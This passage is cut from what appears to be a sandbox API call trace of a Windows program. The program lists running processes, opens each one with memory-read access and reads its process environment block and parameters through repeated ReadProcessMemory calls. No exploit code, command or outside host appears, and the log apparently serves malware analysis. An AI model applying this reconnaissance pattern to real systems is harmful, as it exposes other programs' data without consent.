ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0190.104] free (_Block=0x20abc286d60) [0190.105] malloc (_Size=0x10000) returned 0x20abc286d60 [0190.106] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0190.109] free (_Block=0x20abc286d60) [0190.226] malloc (_Size=0x18000) returned 0x20abc286d60 [0190.227] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0190.230] free (_Block=0x20abc286d60) [0190.230] malloc (_Size=0x20000) returned 0x20abc286d60 [0190.230] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0x0 [0190.231] _ui64tow_s (in: _Value=0x0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0190.235] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="0") returned 1 [0190.236] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x201d2958, dwBuildNumber=0x7ffb, dwPlatformId=0x6, szCSDVersion="\n") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0190.236] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0190.251] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0190.251] CloseHandle (hObject=0x0) returned 0 [0190.251] _ui64tow_s (in: _Value=0x4, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0190.255] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4") returned 1 [0190.256] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0190.256] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0190.385] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0190.385] CloseHandle (hObject=0x0) returned 0 [0190.386] _ui64tow_s (in: _Value=0x138, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="312") returned 0x0 [0190.390] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="312") returned 3 [0190.392] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0190.392] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0190.408] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x138) returned 0x0 [0190.408] CloseHandle (hObject=0x0) returned 0 [0190.408] _ui64tow_s (in: _Value=0x180, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="384") returned 0x0 [0190.413] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="384") returned 3 [0190.414] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0190.414] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0190.516] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x180) returned 0x0 [0190.516] CloseHandle (hObject=0x0) returned 0 [0190.517] _ui64tow_s (in: _Value=0x1bc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="444") returned 0x0 [0190.521] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="444") returned 3 [0190.522] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0190.522] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0190.537] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1bc) returned 0x0 [0190.537] CloseHandle (hObject=0x0) returned 0 [0190.538] _ui64tow_s (in: _Value=0x1c8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="456") returned 0x0 [0190.541] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="456") returned 3 [0190.542] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0190.542] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0190.620] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c8) returned 0x0 [0190.620] CloseHandle (hObject=0x0) returned 0 [0190.621] _ui64tow_s (in: _Value=0x1fc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="508") returned 0x0 [0190.624] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="508") returned 3 [0190.625] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0190.625] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0190.638] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1fc) returned 0x448 [0190.638] GetLastError () returned 0x0 [0190.638] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0190.638] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x73520ea018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0190.639] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0190.639] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1c5bea716a0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0190.639] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1c5bea713b0, lpBuffer=0x2dc24fc2d0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0190.641] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0190.642] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0190.642] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x73520ea020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0190.642] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1c5bea70d90, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0190.642] malloc (_Size=0x1c) returned 0x20abc2a9e80 [0190.642] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1c5bea713f2, lpBuffer=0x20abc2a9e80, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a9e80*, lpNumberOfBytesRead=0x0) returned 1 [0190.643] free (_Block=0x20abc2a9e80) [0190.643] CloseHandle (hObject=0x448) returned 1 [0190.644] _ui64tow_s (in: _Value=0x214, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="532") returned 0x0 [0190.647] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="532") returned 3 [0190.648] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0190.648] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0190.715] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x214) returned 0x0 [0190.715] CloseHandle (hObject=0x0) returned 0 [0190.716] _ui64tow_s (in: _Value=0x21c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="540") returned 0x0 [0190.722] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="540") returned 3 [0190.723] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0190.723] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0190.736] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x21c) returned 0x448 [0190.736] GetLastError () returned 0x0 [0190.736] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0190.736] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x72f69a3018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0190.736] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0190.737] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1d0c58032b0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0190.737] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1d0c5802f08, lpBuffer=0x2dc24fc2d0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0190.737] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0190.738] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0190.738] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x72f69a3020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0190.738] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1d0c58028f0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0190.739] malloc (_Size=0x3e) returned 0x20abc27cf80 [0190.739] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1d0c5802f44, lpBuffer=0x20abc27cf80, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cf80*, lpNumberOfBytesRead=0x0) returned 1 [0190.740] free (_Block=0x20abc27cf80) [0190.740] CloseHandle (hObject=0x448) returned 1 [0190.741] _ui64tow_s (in: _Value=0x274, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="628") returned 0x0 [0190.744] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="628") returned 3 [0190.745] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0190.745] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0190.843] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x274) returned 0x448 [0190.843] GetLastError () returned 0x0 [0190.843] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0190.843] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x252b60c018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0190.843] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0190.844] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x15e739033e0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0190.844] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x15e73903048, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0190.844] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0190.845] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0190.845] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x252b60c020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0190.845] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x15e73902a30, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0190.846] malloc (_Size=0x5e) returned 0x20abc2801b0 [0190.846] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x15e73903088, lpBuffer=0x20abc2801b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0190.846] free (_Block=0x20abc2801b0) [0190.847] CloseHandle (hObject=0x448) returned 1 [0190.847] _ui64tow_s (in: _Value=0x294, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="660") returned 0x0 [0190.852] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="660") returned 3 [0190.853] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0190.853] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0190.867] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x294) returned 0x448 [0190.867] GetLastError () returned 0x0 [0190.867] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0190.867] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0xab53d9d018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0190.867] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0190.868] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x2aaa9303450, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0190.868] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x2aaa93030c8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0190.868] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0190.869] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0190.869] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0xab53d9d020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0190.869] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x2aaa9302ab0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0190.870] malloc (_Size=0x54) returned 0x20abc2aae70 [0190.870] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x2aaa9303108, lpBuffer=0x20abc2aae70, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aae70*, lpNumberOfBytesRead=0x0) returned 1 [0190.871] free (_Block=0x20abc2aae70) [0190.871] CloseHandle (hObject=0x448) returned 1 [0190.872] _ui64tow_s (in: _Value=0x304, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="772") returned 0x0 [0190.960] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="772") returned 3 [0190.961] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0190.961] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0190.973] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x304) returned 0x448 [0190.974] GetLastError () returned 0x0 [0190.974] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0190.974] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x14042d3018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0190.974] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0190.974] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1b67c9c19f0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0190.974] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1b67c9c16e8, lpBuffer=0x2dc24fc2d0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0190.975] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0190.976] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0190.976] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x14042d3020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0190.976] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1b67c9c10d0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0190.977] malloc (_Size=0x16) returned 0x20abc281d80 [0190.977] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1b67c9c1720, lpBuffer=0x20abc281d80, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc281d80*, lpNumberOfBytesRead=0x0) returned 1 [0190.977] free (_Block=0x20abc281d80) [0190.977] CloseHandle (hObject=0x448) returned 1 [0190.978] _ui64tow_s (in: _Value=0x364, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="868") returned 0x0 [0190.981] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="868") returned 3 [0190.982] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0190.982] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0190.996] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x364) returned 0x448 [0190.996] GetLastError () returned 0x0 [0190.996] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0190.996] ReadProcessMemory (in: hProcess=0x448, 